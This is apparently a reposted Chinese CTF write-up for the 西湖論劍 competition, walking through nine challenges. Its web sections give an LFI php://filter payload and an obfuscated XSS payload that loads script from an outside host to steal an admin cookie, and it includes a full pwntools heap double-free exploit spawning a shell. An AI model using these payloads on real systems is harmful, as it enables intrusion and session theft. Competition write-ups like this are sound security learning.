西湖論劍WP


先水幾句,這次的題確實難啊,動用洪荒之力了,第一名的神仙也沒有全部做完。

官方說這次的題目有兩道沒被做出來,我猜應該是PWN和RE吧


本來我們是45名的,最后5分鍾那幫人啊,硬生生給我們擠出前50,我都想砸電腦了,

后來官方又說前65名成功獲得參賽資格,我去!又活了,但是無奈前50只刷掉幾個隊伍,

還是很遺憾沒有進線下賽,本菜雞盡力了,唉,下面進入正題

 

 

 

 

 

 

 

 

 

 

 

 

一、奇怪的TTL字段

TTL了解一下:TTL是 Time To Live的縮寫,該字段指定IP包被路由器丟棄之前允許通過的最大網段數量。TTL是IPv4包頭的一個8 bit字段。TTL的作用是限制IP數據包在計算機網絡中的存在的時間。TTL的最大值是255,TTL的一個推薦值是64。

打開文本,發現TTL值一直是在127、191、63、255這四個值中選,

Hint:提取TTL值

將這四個值轉換為二進制之后,發現后六位都是1

 

轉換為八位二進制,提取前兩位,然后轉hex發現有了jpeg的頭,於是將hex值寫入文件

 

提取出來的img是一個殘缺的二維碼

           放到stegosolver 看圖層

 

畫圖拼接

 

 

根據字面意思得知flag是自動密鑰密碼

在線破解:https://www.wishingstarmoye.com/ctf/autokey

 

 

 

二、哈夫曼之謎

這題我是手工構建哈夫曼樹解出的編碼,

不會寫哈夫曼算法的程序,后來在網上找的

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef int ELEMTYPE;

// 哈夫曼樹結點結構體
typedef struct HuffmanTree
{
    ELEMTYPE weight;
    ELEMTYPE id;        // id用來主要用以區分權值相同的結點,這里代表了下標
    struct HuffmanTree* lchild;
    struct HuffmanTree* rchild;
}HuffmanNode;

// 構建哈夫曼樹
HuffmanNode* createHuffmanTree(int* a, int n)
{
    int i, j;
    HuffmanNode **temp, *hufmTree;
    temp = malloc(n*sizeof(HuffmanNode));
    for (i = 0; i<n; ++i)     // 將數組a中的權值賦給結點中的weight
    {
        temp[i] = (HuffmanNode*)malloc(sizeof(HuffmanNode));
        temp[i]->weight = a[i];
        temp[i]->id = i;
        temp[i]->lchild = temp[i]->rchild = NULL;
    }

    for (i = 0; i<n - 1; ++i)       // 構建哈夫曼樹需要n-1合並
    {
        int small1 = -1, small2;      // small1、small2分別作為最小和次小權值的下標
        for (j = 0; j<n; ++j)         // 先將最小的兩個下標賦給small1、small2(注意:對應權值未必最小)
        {
            if (temp[j] != NULL && small1 == -1)
            {
                small1 = j;
                continue;
            }
            else if (temp[j] != NULL)
            {
                small2 = j;
                break;
            }
        }

        for (j = small2; j<n; ++j)    // 比較權值,挪動small1和small2使之分別成為最小和次小權值的下標
        {
            if (temp[j] != NULL)
            {
                if (temp[j]->weight < temp[small1]->weight)
                {
                    small2 = small1;
                    small1 = j;
                }
                else if (temp[j]->weight < temp[small2]->weight)
                {
                    small2 = j;
                }
            }
        }
        hufmTree = (HuffmanNode*)malloc(sizeof(HuffmanNode));
        hufmTree->weight = temp[small1]->weight + temp[small2]->weight;
        hufmTree->lchild = temp[small1];
        hufmTree->rchild = temp[small2];

        temp[small1] = hufmTree;
        temp[small2] = NULL;
    }
    free(temp);
    return hufmTree;
}

// 以廣義表的形式打印哈夫曼樹
void PrintHuffmanTree(HuffmanNode* hufmTree)
{
    if (hufmTree)
    {
        printf("%d", hufmTree->weight);
        if (hufmTree->lchild != NULL || hufmTree->rchild != NULL)
        {
            printf("(");
            PrintHuffmanTree(hufmTree->lchild);
            printf(",");
            PrintHuffmanTree(hufmTree->rchild);
            printf(")");
        }
    }
}

// 遞歸進行哈夫曼編碼
void HuffmanCode(HuffmanNode* hufmTree, int depth)      // depth是哈夫曼樹的深度
{
    static int code[100];
    if (hufmTree)
    {
        if (hufmTree->lchild == NULL && hufmTree->rchild == NULL)
        {
            printf("id為%d權值為%d的葉子結點的哈夫曼編碼為 ", hufmTree->id, hufmTree->weight);
            int i;
            for (i = 0; i<depth; ++i)
            {
                printf("%d", code[i]);
            }
            printf("\n");
        }
        else
        {
            code[depth] = 0;
            HuffmanCode(hufmTree->lchild, depth + 1);
            code[depth] = 1;
            HuffmanCode(hufmTree->rchild, depth + 1);
        }
    }
}

// 哈夫曼解碼
void HuffmanDecode(char ch[], HuffmanNode* hufmTree, char string[])     // ch是要解碼的01串,string是結點對應的字符
{
    int i;
    int num[500];
    HuffmanNode* tempTree = NULL;
    for (i = 0; i<strlen(ch); ++i)
    {
        if (ch[i] == '0')
            num[i] = 0;
        else
            num[i] = 1;
    }
    if (hufmTree)
    {
        i = 0;      // 計數已解碼01串的長度
        while (i<strlen(ch))
        {
            tempTree = hufmTree;
            while (tempTree->lchild != NULL && tempTree->rchild != NULL)
            {
                if (num[i] == 0)
                {
                    tempTree = tempTree->lchild;
                }
                else
                {
                    tempTree = tempTree->rchild;
                }
                ++i;
            }
            printf("%c", string[tempTree->id]);     // 輸出解碼后對應結點的字符
        }
    }
}

int main()
{
    int i, n;
    printf("請輸入葉子結點的個數:\n");
    while (1)
    {
        scanf("%d", &n);
        if (n>1)
            break;
        else
            printf("輸入錯誤,請重新輸入n值!");
    }

    int* arr;
    arr = (int*)malloc(n*sizeof(ELEMTYPE));
    printf("請輸入%d個葉子結點的權值:\n", n);
    for (i = 0; i<n; ++i)
    {
        scanf("%d", &arr[i]);
    }

    char ch[500], string[500];
    printf("請連續輸入這%d個葉子結點各自所代表的字符:\n", n);
    fflush(stdin);      // 強行清除緩存中的數據,也就是上面輸入權值結束時的回車符
    gets(string);

    HuffmanNode* hufmTree = NULL;
    hufmTree = createHuffmanTree(arr, n);

    printf("此哈夫曼樹的廣義表形式為:\n");
    PrintHuffmanTree(hufmTree);
    printf("\n各葉子結點的哈夫曼編碼為:\n");
    HuffmanCode(hufmTree, 0);

    printf("要解碼嗎?請輸入編碼:\n");
    gets(ch);
    printf("解碼結果為:\n");
    HuffmanDecode(ch, hufmTree, string);
    printf("\n");

    free(arr);
    free(hufmTree);

    return 0;
}

 

 

編譯后,上面是哈夫曼編碼,下面是結點對應的權重值

上面的c程序是在網上找的,跑出字母對應的編碼

            a:4       000

            g:1      00100

            l:1        00101

            {:1       00110

            }:1       00111

            d:9      01

            5:9      10

            f:5       110

            0:7      111

f}alg55fd5f50f0ddd0d00adafdd5505d50a5{

fla}g55fd5f50f0ddd0d00adafdd5505d50a5{

flag}55fd5f50f0ddd0d00adafdd5505d50a5{

flag{55fd5f50f0ddd0d00adafdd5505d50a5}

 

 

因為很多節點的權值相同,所以出來的格式有問題,不斷轉換相同權值的節點就可以得到flag格式:

flag{55fd5f50f0ddd0d00adafdd5505d50a5}

 小伙伴們為什么會提交失敗呢,因為你們只注意到有四個權值是1的節點,沒發現5和d的權值都是9,

將上面的字符串5和d互相轉換就行啦

 

三、猜猜flag是什么

1.進入頁面,提示要先拿到兌換碼

 

 

2.掃描

git clone https://github.com/lijiejie/ds_store_exp.git
python ds_store_exp.py http://61.164.47.198:10002/.DS_Store
[+]  http://61.164.47.198:10002/yingyingying/.DS_Store
[+] http://61.164.47.198:10002/index.php/.DS_Store
[+] http://61.164.47.198:10002/e10adc3949ba59abbe56e057f20f883e
[+] http://61.164.47.198:10002/flag
[+] http://61.164.47.198:10002/yingyingying/index.html

,發現根目錄下有.DS_Store泄露:http://61.164.47.198:10002/.DS_Store,

也可以XSS彈出hint,payload:http://61.164.47.198:10002/?name=%253Cscript%253Ealert%25281%2529%253C/script%253E

訪問http://ctf1.linkedbyx.com:10442/e10adc3949ba59abbe56e057f20f883e/后,然后發現頁面確實啥也沒有,嘗試圖片是否隱寫了信息后無果

 

會不會是是個.git泄露,githack,找到壓縮包BackupForMySite.zip,

 

發現有密碼,利用明文攻擊,(有時候解不出是因為壓縮軟件的算法不同,這里我用bandzip,也可以通過Linux的zip命令打包

zip -r xxx.zip ./*

解壓zip文件到當前目錄

unzip filename.zip

 

得到內容:

 

 

 

php_mt_seed提交隨機數:$ time ./php_mt_seed  你的隨機數得到數字,然后訪問/flag/得到的數字.txt之后拿到flag

 

 

這是作者給的readme

 

 

四、babyt3

從網頁看出應該是文件包含漏洞include[file],

掃描:

 

得到一個dir.php

訪問:

http://ctf2.linkedbyx.com:10740/?file=php://filter/read=convert.base64-encode/resource=dir.php

得到一個base64:

PD9waHAKJGEgPSBAJF9HRVRbJ2RpciddOwppZighJGEpewokYSA9ICcvdG1wJzsKfQp2Y XJfZHVtcChzY2FuZGlyKCRhKSk7Cg==

解密得:

<?php

$a = @$_GET['dir'];

if(!$a){

$a = '/tmp';

}

var_dump(scandir($a));

構造payload:

http://ctf2.linkedbyx.com:10740/?file=../../../ffffflag_1s_Her4

得到base加密的flag,解密提交

五、Breakout

進去看到留言板,聯想到XSS攻擊

 

留言板觸發XSS

<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzc3B0LmNvbS9iUTUwS1Y/JytNYXRoLnJhbmRvbSgp'))>

 

寫腳本過驗證碼,nc遠程服務器,打到管理員cookie:

PHPSESSID=rctb5bdpjja3t48ekjjtu8knu3;%20token=ISMvKXpXpadDiUoOSoAfww==;%20admin=admin_!@@!_admin_admin_hhhhh HTTP/1.1

 

服務器端Getshell,最后反彈shell成功后,flag在根目錄下

六、最短路徑題

BFS算法,手算的話,一共92個元素,一個一個找最后拼到一起也能做出來

七、story

有點像網鼎杯改編的題目;

1,

單看保護還好

2,應該是double free/Unlink漏洞:需要建立至少三個堆,通過修改第二個chunk的內容在第二個chunk中偽造了一個空閑chunk開始為偽造chunk的內容。如過此時想要free chunk3那么要進入unlink則需要使unlink函數認為偽chunk是空閑的並繞過檢查。所以首先通過溢出將第三個chunk的prev_size字段修改為0x30並將size字段的P字段修改為0即0x90那么此時就可以繞過。

3,然后用修改data,獲取權限;

4,最后上腳本。

#!/usr/bin/env python

# coding=utf-8

from pwn import *

debug = 0

local = 0

context.terminal=["tmux","splitw","-h"]

if local:

    a=process("./noinfoleak")

    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:

    a=remote("ctf1.linkedbyx.com","10346")

    libc=ELF("./libc.so.6")

if debug:

    gdb.attach(a,'''

   b *0x4009DC          

               ''')

                 # b *0x400A1E

elf=ELF("./noinfoleak")

 

def menu(index):

    a.recvuntil(">")

    a.sendline(str(index))

def create(size,content):

    menu(1)

    a.recvuntil(">")

    a.sendline(str(size))

    a.recvuntil(">")

    a.send(content)

def delete(index):

    menu(2)

    a.recvuntil(">")

    a.sendline(str(index))

def edit(index,content):

    menu(3)

    a.recvuntil(">")

    a.sendline(str(index))

    a.recvuntil(">")

    a.send(content)

#double free

#size addr = 0x601002 

 

a.recv()

a.sendline("5")#puts 延遲綁定

 

create(0x50,"aaa")#index 0

create(0x40,"aa")#index 1

create(0x40,"asaa")#index 2

delete(1)

delete(2)

delete(1)

create(0x40,p64(0x6010A0))#index 3

create(0x40,"a")#index 4

create(0x40,"a")#index 5

read_got=0x000000000601048

payload=read_got

create(0x40,p64(payload))#index 6   ,0x6010b0:       0x0000000000601058      0x0000000000000040

                                       # index 1 , ptr = malloc got

 

 

create(0x50,"aaaaaaaa")#index 7

create(0x50,"bbbbbbbb")#index 8

delete(7)

delete(8)

delete(7)

fake_chunk_addr=0x601002-0x8

create(0x50,p64(fake_chunk_addr))#index 9

create(0x50,"aaa")#index 10

create(0x50,"aaa")#index 11

 

puts_plt=elf.plt["puts"]

#00 00 00 00 00

#0x601002-0x8+0x10

payload='\x00'*14+p64(puts_plt)

create(0x50,payload)  #index 12

delete(1)

#double free ,修改data段。

 

read_addr=u64(a.recvuntil("\n",drop=True).ljust(8,"\x00"))

success("read address ==> 0x%x"%read_addr)

libc_base=read_addr -libc.symbols["read"]

one_gadget=libc_base+0xf1147

edit(1,p64(one_gadget))

a.recv()

a.sendline("30")

a.interactive()

 

8、easycpp

靜態分析后,發現要輸入16個數。放入IDA,輸入1-16測試關鍵跳轉

 

定位到rsi和rdi,發現rsi是斐波那契數列

 

再看rdi,找到與輸入的字符串的規律

 

腳本跑flag(11不變,后面的值遞歸加上11,逆置,與斐波那契數列對比)

9、Testre

扔到IDA,看字符串,好像是base64

 

但是2345678ABCD。。。長度是58,考慮一下base58

 

字符串比較結合動態調試

得到一個base58,

解密

 

 

 

 

 

 

 

 

什么都沒有了,還看,快去點關注

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM